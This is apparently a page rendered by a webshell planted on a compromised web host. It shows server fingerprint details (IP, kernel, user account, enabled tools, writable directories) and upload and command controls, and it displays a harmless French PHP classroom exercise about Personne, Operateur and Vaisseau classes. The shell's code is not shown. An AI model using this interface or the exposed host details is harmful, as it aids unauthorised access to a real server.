403Webshell
Server IP : 109.234.162.214  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux servd162214.srv.odns.fr 4.18.0-372.26.1.lve.1.el8.x86_64 #1 SMP Fri Sep 16 14:08:19 EDT 2022 x86_64
User : carpe ( 1178)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/carpe/public_html/starship/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/carpe/public_html/starship/tests/Objet1.php
<?php

class Personne{
    protected $nom;
    protected $vie;
    
    public function sePresenter(){
        return "Je m'appelle {$this->nom}";
    }
    
    public function attaquer($enemi){
        return "{$this->nom} attaque {$enemi->nom}";
    }
    
    public function __construct($n,$v){
        $this->nom = $n;
        $this->vie = $v;
    }
}

$p1 = new Personne("Sacha",20);
$p2 = new Personne("Toms",30);

//echo $p1->attaquer($p2);


class Operateur extends Personne{
    protected $nom;
    protected $vie;
    private $metier;
    
    public function agir($enemi){
        if($this->metier == "Medecin"){
            $enemi->vie += 10;
            return "{$enemi->nom} a été soigné, il est désormais à {$enemi->vie} hp";
        }
        
    }
    
    public function __construct($n,$v,$m){
        parent::__construct($n,$v);
        $this->metier = $m;
    }
}

$o1 = new Operateur("Ash",80,"Medecin");
//echo "<br/>";
//echo $o1->sePresenter();
//echo "<br/>";
//echo $o1->attaquer($p1);

//echo $o1->agir($p1);

class Vaisseau {
    private $nom;
    private $etat;
    
    public function __construct($n, $e) {
        $this->nom = $n;
        $this->etat = $e;
    }

    public function getNom() {
        return $this->nom;
    }
    
    public function peutDecoller() {
        return $this->etat > 80;
    }
    
    public function attaquer($enemi) {
        if ($this->peutDecoller()) {
            return "Le vaisseau {$this->nom} attaque {$enemi->getNom()}";
        } else {
            return "Le vaisseau {$this->nom} ne peut pas décoller et attaquer.";
        }
    }
}

// Création des objets pour tester
$v1 = new Vaisseau("Eagle", 90);
$v2 = new Vaisseau("Falcon", 70);

echo $v1->attaquer($v2);
echo "<br/>";
echo $v2->attaquer($v1);
echo "<form method='POST' action='Objet1.php'><input type='submit' name='send'></form>";

if(isset($_POST['send'])){
    echo $o1->agir($p1);
}





?>

Youez - 2016 - github.com/yon3zu
LinuXploit